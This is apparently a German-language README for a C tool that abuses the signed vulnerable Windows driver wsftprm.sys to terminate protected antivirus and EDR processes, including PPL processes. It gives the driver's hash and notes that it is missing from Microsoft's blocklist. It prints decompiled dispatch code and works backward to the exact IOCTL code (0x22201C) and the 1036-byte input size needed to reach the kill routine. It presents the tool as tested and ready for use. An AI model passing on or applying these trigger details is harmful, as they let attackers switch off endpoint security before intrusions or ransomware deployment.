
C-basiertes Tool, das den anfälligen Kernel-Treiber wsftprm.sys ausnutzt, um geschützte EDR/AV-Prozesse unter Windows, einschließlich PPL-Prozessen, durch umgekehrte IOCTL-Dispatch-Logik zu beenden.
F, Wieder ein Treiber verbrannt.. Ich habe den wsftprm.sys-Treiber eine Weile unter Verschluss gehalten ;) aber seit jemand einen öffentlichen POC veröffentlicht hat, gebe ich ihn frei. Wir alle wissen, dass er bald zur Treiber-Blockliste hinzugefügt wird, also hier meine Implementierung dafür — in C
Dieses Projekt nutzt den anfälligen wsftprm.sys-Treiber (Topaz Antifraud Kernel-Treiber) aus, um geschützte Prozesse (z. B. Antiviren-/EDR-Dienste) unter Windows zu beenden.
Stand Januar 2026 ist wsftprm.sys (SHA-256: FF5DBDCF6D7AE5D97B6F3EF412DF0B977BA4A844C45B30CA78C0EEB2653D69A8) einer der signierten anfälligen Treiber, der nicht auf Microsofts offizieller Blockliste anfälliger Treiber steht
Es gibt massenhaft Informationen darüber, wie man einen Treiber lädt und reversiert, also sieh dir eine davon an. Das Einzige, was an diesem Treiber interessant ist, ist die Art und Weise, wie sie die IOCTLs behandeln. Der Treiber verwendet keine standardmäßige switch-Anweisung für die IOCTL-Verteilung. Stattdessen verwendet er eine Kette von Subtraktionen vom IOCTL-Code, um die beabsichtigten Werte zu verschleiern.
__int64 __fastcall DispatchDeviceControl(__int64 a1, __int64 a2, ...)
{
// ...
v7 = IoControlCode; // v6[6] = Parameters.DeviceIoControl.IoControlCode
v8 = v7 - 0x222000;
v9 = v8 - 4;
v10 = v9 - 4;
v11 = v10 - 16;
if ( v11 == 4 && InputBufferLength == 1036 )
{
// Copy 1036-byte input buffer
// Extract first DWORD as PID (v41)
// Call sub_14000264C(v41, buffer) → leads to termination
}
}
sub_14000264C(unsigned int a1, __int64 a2)
{
// ...
v4 = sub_140002848(a1); // a1 = PID from buffer[0..3]
}
__int64 __fastcall sub_140002848(unsigned int a1) // PID
{
CLIENT_ID ClientId = { (HANDLE)a1, 0 };
OBJECT_ATTRIBUTES ObjAttr = { sizeof(ObjAttr), 0, 0, 0, 0, 0 };
HANDLE ProcessHandle;
ZwOpenProcess(&ProcessHandle, PROCESS_ALL_ACCESS, &ObjAttr, &ClientId);
if (NT_SUCCESS(status) && ProcessHandle)
{
ZwTerminateProcess(ProcessHandle, 0);
ZwClose(ProcessHandle);
}
// ...
}
Jetzt kennen wir die Voraussetzung, um die gefährdete Funktion zu erreichen. Grundsätzlich v11 == 4 && InputBufferLength == 1036, also können wir uns von der Bedingung rückwärts arbeiten, um den IOCTL-Code zu erhalten. In etwa so:
v11 == 4
→ v10 - 16 == 4 → v10 = 20 (0x14)
→ v9 - 4 == 20 → v9 = 24 (0x18)
→ v8 - 4 == 24 → v8 = 28 (0x1C)
→ v7 - 0x222000 == 28 → v7 = 0x222000 + 0x1C = 0x22201C
Und dann kannst du DeviceIoControl mit dem IOCTL-Code verwenden, um den gewünschten Prozess zu beenden (einschließlich PPL-Prozessen)
Zuletzt getestet unter Windows Version 25H2!